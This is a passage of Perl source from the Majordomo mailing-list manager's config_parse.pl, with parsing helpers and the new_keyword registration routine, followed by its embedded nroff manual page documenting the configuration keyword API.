local($list) = @_;
local(@files) = ();
@files = split (/[:\s]+/, $list);
foreach (@files) {
# add listdir if no leading /
#
$_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #';
push(@errors, "Can't find restrict_post file $_ at line $.\n" )
unless -e $_;
}
return ($list); # if the list isn't any good, resend is ok about it
}
sub grab_string {
local($string) = @_;
return($string);
}
# accumulate an array of strings allowing escape sequences stared with a -.
sub grab_string_array {
local($value, $list, $key) = @_;
local(@s_array) = split(/\001/,$value);
local(@return_s, @s_errors, $str) = ();
foreach $str (@s_array){
# a single - on a line means a blank character/line
$str = '' if ( $str eq '-' );
$str =~ s/^-(\s+)/$1/; # a - saves space
$str =~ s/^--/-/; # a -- means -
push(@return_s, $str),
next if $str !~ /\001/;
push(@s_errors,
"string |$str| contains a ^A at line $.\n");
}
if (@s_errors) {
push(@errors, @s_errors);
return "";
}
return (join("\001", @return_s));
}
sub grab_word {
local($word) = @_;
push(@errors, "More then one word " . $count .
"in value $_ at line $.\n")
if ($count = split(' ', $word)) > 1 ;
return ($word);
}
####
#
# start utility routines
#
####
sub config'get_def {
local($key, $default, $list) = @_;
local($parser) = ();
local($digest) = undef;
# sometimes the list variable doesn't get overridden
#$orig_list = $list; # Does anyone ever need this?
$list =~ s/.new$//; # chomp a .new extention to load
# a replacement file
$baselist = $list; # Compatibility
&main'abort( "Improper number of args to get_def") unless defined $list;
# discover what mode we are working in
# are we generating a digest list
$digest = 1 if $list =~ /-digest$/;
if ( $default =~ s/^#!// ) {
$default = eval("$default");
print $@ if $@ ne "";
}
$parser = $parse_function{$key};
return(($default eq '') ? '' : &$parser($default, $list, $key));
}
sub substitute_values {
# BUG the string \$ can't be embedded, but I see no reason it should
# be needed
local($string, $list) = @_;
if ( index($string, '$') < $[ ) {
# if there is no $ in the string, just return the string
return($string);
}
# hide escaped \$ variable references
$string =~ s/\\\$/\002/;
$string =~ s/\$LIST/$list/g;
$string =~ s/\$VERSION/$main'majordomo_version/g;
$string =~ s/\$SENDER/$main'from/g;
# replace the escaped $'s
$string =~ s/\002/\$/;
return($string);
}
####
#
# Routines for package main.
#
####
# get the boolean value. Return true if not the number 0 or null.
sub main'cf_ck_bool { #given the name of the list and item, look it up
local($list, $key) = @_;
return (1) if (($main'config_opts{$list,$key} != 0) &&
$main'config_opts{$list,$key} ne '');
return (0);
}
sub main'new_keyword { # all args are required
local($key,$value,$function,$subsystem,$comment) = @_;
die "new_keyword: key is not defined" if !defined($key);
# value can be undef, so don't check for defined state of value.
die "new_keyword: function is not defined" if !defined($function);
die "new_keyword: subsystem is not defined" if !defined($subsystem);
die "new_keyword: comments are not defined" if !defined($comment);
$key =~ s/^\s*//; # strip whitespace front
$key =~ s/\s*$//; # strip whitespace rear
$value =~ s/^\s*//; # strip whitespace front
$value =~ s/\s*$//; # strip whitespace rear
$function =~ s/^\s*//; # strip whitespace front
$function =~ s/\s*$//; # strip whitespace rear
$subsystem =~ s/^\s*//; # strip whitespace front
$subsystem =~ s/\s*$//; # strip whitespace rear
$comment =~ s/^\s*//; # strip whitespace front
$comment =~ s/\s*$//; # strip whitespace rear
die "Keyword $key > 18 characters" if length($key) > 18;
$known_keys{$key} = ( defined($value) ? $value : ''); # use null value
# for undef
if (!defined(&$function)) {
die "Unknown function $function (package config) for keyword $key\n";
}
$parse_function{$key} = $function; # set the function
$subsystem{$key} = $subsystem; # set the subsystem
$comments{$key} = $comment if defined $comment; # set the documentation
}
# a dummy main for testing. You aren't expected to understand this junk.
#package main;
#require "majordomo.cf";
#require 'mm_match_user' ;
#
#
#
#&main'get_config($ARGV[0],$ARGV[1]);
#&config'writeconfig($ARGV[0], $ARGV[1]);
#foreach $i (sort(keys(%main'config_opts))) {
#local($j) = $i;
#$j =~ s/^$ARGV[1]$;//;
#$j =~ s/^$ARGV[1]//;
#print ($j . " = " .
# ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n")
# unless $j eq '';
#}
#print @config'errors;
#
1; # keep require happy.
###############################################################
# These next few lines are legal in both Perl and nroff.
.00; # finish .ig
'di \" finish diversion--previous line must be blank
.nr nl 0-1 \" fake up transition to first page again
.nr % 0 \" start at page 1
'; __END__ ##### From here on it's a standard manual page #####
.TH config_parse.pl 8
.SH NAME
config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword
to the majordomo configuration file parser.
.SH Syntax
.nf
.B &main'new_keyword(key, default_value, parse_function, subsystem, comment)
.B $config_opts{<listname>, key}
.SH Description
The new_keyword function registers a new keyword with the majordomo
configuration file parser. The default value, or an overriding value
specified in the config file will be put into the array
%main'config_opts, which is indexed by the listname and the key.
The arguments to main'new_keyword are:
.TP 15
key
The text of the keyword in the configuration file (e.g.
subscription_policy). It should use the '_' as a word separator and
should be less than 20 characters total length.
.TP 15
default_value
The default value for the string. Empty quotes must be used if the
value is to be null. If the default value starts with the characters
'#!', the string is eval'led in the context of the config package. The
function config'get_def performs the evaluation. Besides the global
values, the name of the list is available in the variable "$list", and
the current key name is available in the variable "$key".
If the keyword is an enumerated type, the value must follow this form:
.I value1^Avalue2^Avalue3^Avalue2
^A is control-A (ascii octal value 001). The default value for the
keyword is the last value in the list (note: that value2 must appear
twice, once to show it is a member of the list, and last to show that
it is the default value.)
If the value can be an array, the default value can be a ^A separated
set of elements. These values correspond to the possible values of the
%known_keys array Before installing the config_opts code for the first
time, it is a good idea to look over the perl array %known_keys, and
change the default values.
.TP 15
parse_function
The parse function is used to validate the data supplied by the list
maintainer and to try to point out problems with the data. There are a
number of parse functions defined, all of the MUST be in the config
package. If you are writing a parse function of your own, make sure
that it is in the config package, otherwise the parser won't find it.
By convention all of the parse functions supplied with in
config_parse.pl start with grab_. The name of the function is used to
derive a type value for the inline documentation. All functions that
are able to accept multiple arguments must end in _array. The
supplied functions are:
.RS 15
.TP 10
grab_absolute_dir
A root anchored directory
.TP 10
grab_absolute_file
A root anchored file
.TP 10
grab_bool
choose from: yes, no, y, n
.TP 10
grab_enum
One of a list of possible values
.TP 10
grab_integer
an integer (string made up of the digits 0-9, no decimal point)
.TP 10
grab_integer_array
an array of integers (string made up of the digits 0-9, no decimal point)
.TP 10
grab_float
a floating point number with decimal point. Exponential notation is not
supported.
.TP 10
grab_float_array
an array of floating point numbers with decimal point.
Exponential notation is not supported.
.TP 10
grab_regexp_array
an array of perl style regular expression with leading/trailing /'s
.TP 10
grab_restrict_post
a series of space or : separated file names in which
to look up the senders address
(restrict-post should go away to be replaced by an
array of files)
.TP 10
grab_string
any text up until a \n stripped of leading and trailing whitespace
.TP 10
grab_string_array
handle an array of strings possibly sperated by ^A characters.
.TP 10
grab_word
any text with no embedded whitespace
.RE
.TP 15
subsystem
A unique name for the value for your subsystem. This is used to clear
out old keywords when a subsystem module is removed. Only two
subsystems are defined by default: majordomo and resend. If the digest
program is converted, then the digest subsystem will also be defined.
I would suggest that the unique identifiers for addin subsystems to
the majordomo command be prefixed with "maj-".
.TP 15
comment
Documentary text that is filled and printed in the config file. This
text should describe the purpose and function of the keyword.
.SH Diagnostics
The function calls die if any of its arguments are missing. While this
isn't as nice as trying to handle the error, it sure does get the
attention of the majordomo maintainer.
.SH Bugs
There is no way to add text describing a new type to the header of the
config file. The documentation on a new type has to be done in the
comment text.
The default string for an enumerated type shouldn't require
duplication of the default value. The default value string shouldn't
be so heavily overloaded either.
This man page should be more explicit about the checks done by the
parse functions.
new_keyword doesn't yet check and reject duplicate keywords, so it is
up to the majordomo maintainer to make sure that keywords don't
conflict.
main'cf_ck_bool should be documented here as well.
.SH See Also
majordomo(8), perl(1)